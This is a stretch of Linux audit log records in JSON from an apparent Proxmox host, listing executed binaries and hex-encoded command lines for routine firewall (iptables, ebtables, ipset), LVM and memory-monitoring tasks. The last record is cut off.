{"@timestamp":1781965866118,"@rawstring":"node=pve type=PATH msg=audit(1781965866.118:67448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025686,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.686:68125): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965866118,"@rawstring":"node=pve type=PATH msg=audit(1781965866.118:67448): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.680:68124): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965866118,"@rawstring":"node=pve type=PATH msg=audit(1781965866.118:67447): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025674,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.674:68123): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965866113,"@rawstring":"node=pve type=PATH msg=audit(1781965866.113:67446): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.668:68122): proctitle=697073657400726573746F7265"} {"@timestamp":1781965866113,"@rawstring":"node=pve type=PATH msg=audit(1781965866.113:67446): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.661:68121): proctitle=\"ip6tables-save\""} {"@timestamp":1781965866113,"@rawstring":"node=pve type=PATH msg=audit(1781965866.113:67446): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025652,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.652:68120): proctitle=\"iptables-save\""} {"@timestamp":1781965866106,"@rawstring":"node=pve type=PATH msg=audit(1781965866.106:67445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.648:68119): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965866106,"@rawstring":"node=pve type=PATH msg=audit(1781965866.106:67445): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025645,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.645:68118): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965866100,"@rawstring":"node=pve type=PATH msg=audit(1781965866.100:67444): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.644:68117): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965866100,"@rawstring":"node=pve type=PATH msg=audit(1781965866.100:67444): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.644:68116): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965866093,"@rawstring":"node=pve type=PATH msg=audit(1781965866.093:67443): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.639:68115): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965866093,"@rawstring":"node=pve type=PATH msg=audit(1781965866.093:67443): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.632:68114): proctitle=\"ip6tables-save\""} {"@timestamp":1781965866085,"@rawstring":"node=pve type=PATH msg=audit(1781965866.085:67442): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025624,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.624:68113): proctitle=\"iptables-save\""} {"@timestamp":1781965866085,"@rawstring":"node=pve type=PATH msg=audit(1781965866.085:67442): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.619:68112): proctitle=69707365740073617665"} {"@timestamp":1781965866078,"@rawstring":"node=pve type=PATH msg=audit(1781965866.078:67440): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025611,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.611:68111): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965866078,"@rawstring":"node=pve type=PATH msg=audit(1781965866.078:67440): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.602:68110): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965866072,"@rawstring":"node=pve type=PATH msg=audit(1781965866.072:67439): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.136:68109): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866072,"@rawstring":"node=pve type=PATH msg=audit(1781965866.072:67439): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.136:68108): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866066,"@rawstring":"node=pve type=PATH msg=audit(1781965866.066:67438): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.136:68107): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866066,"@rawstring":"node=pve type=PATH msg=audit(1781965866.066:67438): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.129:68106): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866059,"@rawstring":"node=pve type=PATH msg=audit(1781965866.059:67437): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.129:68105): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866059,"@rawstring":"node=pve type=PATH msg=audit(1781965866.059:67437): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025128,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.128:68104): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866053,"@rawstring":"node=pve type=PATH msg=audit(1781965866.053:67436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966024676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966024.676:68103): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965866053,"@rawstring":"node=pve type=PATH msg=audit(1781965866.053:67436): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966024645,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966024.645:68102): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965866045,"@rawstring":"node=pve type=PATH msg=audit(1781965866.045:67435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966021043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966021.043:68101): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965866045,"@rawstring":"node=pve type=PATH msg=audit(1781965866.045:67435): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966021043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966021.043:68100): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965866037,"@rawstring":"node=pve type=PATH msg=audit(1781965866.037:67434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966021041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966021.041:68099): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965866037,"@rawstring":"node=pve type=PATH msg=audit(1781965866.037:67434): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966020117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966020.117:68098): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866031,"@rawstring":"node=pve type=PATH msg=audit(1781965866.031:67433): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966020117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966020.117:68097): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866031,"@rawstring":"node=pve type=PATH msg=audit(1781965866.031:67433): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966020116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966020.116:68096): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866026,"@rawstring":"node=pve type=PATH msg=audit(1781965866.026:67432): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966020106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966020.106:68095): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866026,"@rawstring":"node=pve type=PATH msg=audit(1781965866.026:67432): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966020106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966020.106:68094): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866023,"@rawstring":"node=pve type=PATH msg=audit(1781965866.023:67431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966020106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966020.106:68093): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965866023,"@rawstring":"node=pve type=PATH msg=audit(1781965866.023:67431): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.582:68092): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965866022,"@rawstring":"node=pve type=PATH msg=audit(1781965866.022:67430): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015579,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.579:68091): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965866022,"@rawstring":"node=pve type=PATH msg=audit(1781965866.022:67430): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.578:68090): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965866022,"@rawstring":"node=pve type=PATH msg=audit(1781965866.022:67429): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.578:68089): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965866018,"@rawstring":"node=pve type=PATH msg=audit(1781965866.018:67428): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015572,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.572:68088): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965866018,"@rawstring":"node=pve type=PATH msg=audit(1781965866.018:67428): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.564:68087): proctitle=\"ip6tables-save\""} {"@timestamp":1781965866018,"@rawstring":"node=pve type=PATH msg=audit(1781965866.018:67428): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.556:68086): proctitle=\"iptables-save\""} {"@timestamp":1781965866010,"@rawstring":"node=pve type=PATH msg=audit(1781965866.010:67427): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015545,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.545:68085): proctitle=\"ip6tables-save\""} {"@timestamp":1781965866010,"@rawstring":"node=pve type=PATH msg=audit(1781965866.010:67427): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.536:68084): proctitle=\"iptables-save\""} {"@timestamp":1781965866003,"@rawstring":"node=pve type=PATH msg=audit(1781965866.003:67426): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015532,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.532:68083): proctitle=\"ebtables-restore\""} {"@timestamp":1781965866003,"@rawstring":"node=pve type=PATH msg=audit(1781965866.003:67426): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.528:68082): proctitle=\"ebtables-restore\""} {"@timestamp":1781965865997,"@rawstring":"node=pve type=PATH msg=audit(1781965865.997:67425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.522:68081): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965865997,"@rawstring":"node=pve type=PATH msg=audit(1781965865.997:67425): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.514:68080): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965865989,"@rawstring":"node=pve type=PATH msg=audit(1781965865.989:67424): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.509:68079): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965865989,"@rawstring":"node=pve type=PATH msg=audit(1781965865.989:67424): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.501:68078): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965865980,"@rawstring":"node=pve type=PATH msg=audit(1781965865.980:67423): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.494:68077): proctitle=697073657400726573746F7265"} {"@timestamp":1781965865980,"@rawstring":"node=pve type=PATH msg=audit(1781965865.980:67423): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.485:68076): proctitle=\"ip6tables-save\""} {"@timestamp":1781965864578,"@rawstring":"node=pve type=PATH msg=audit(1781965864.578:67422): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.477:68075): proctitle=\"iptables-save\""} {"@timestamp":1781965864578,"@rawstring":"node=pve type=PATH msg=audit(1781965864.578:67422): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.472:68074): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965864577,"@rawstring":"node=pve type=PATH msg=audit(1781965864.577:67421): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.469:68073): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965864577,"@rawstring":"node=pve type=PATH msg=audit(1781965864.577:67420): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.468:68072): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965864568,"@rawstring":"node=pve type=PATH msg=audit(1781965864.568:67419): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.468:68071): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965864568,"@rawstring":"node=pve type=PATH msg=audit(1781965864.568:67419): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015464,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.464:68070): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965864568,"@rawstring":"node=pve type=PATH msg=audit(1781965864.568:67418): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015457,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.457:68069): proctitle=\"ip6tables-save\""} {"@timestamp":1781965864568,"@rawstring":"node=pve type=PATH msg=audit(1781965864.568:67417): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.449:68068): proctitle=\"iptables-save\""} {"@timestamp":1781965864346,"@rawstring":"node=pve type=PATH msg=audit(1781965864.346:67416): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.443:68067): proctitle=69707365740073617665"} {"@timestamp":1781965864346,"@rawstring":"node=pve type=PATH msg=audit(1781965864.346:67416): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.435:68066): 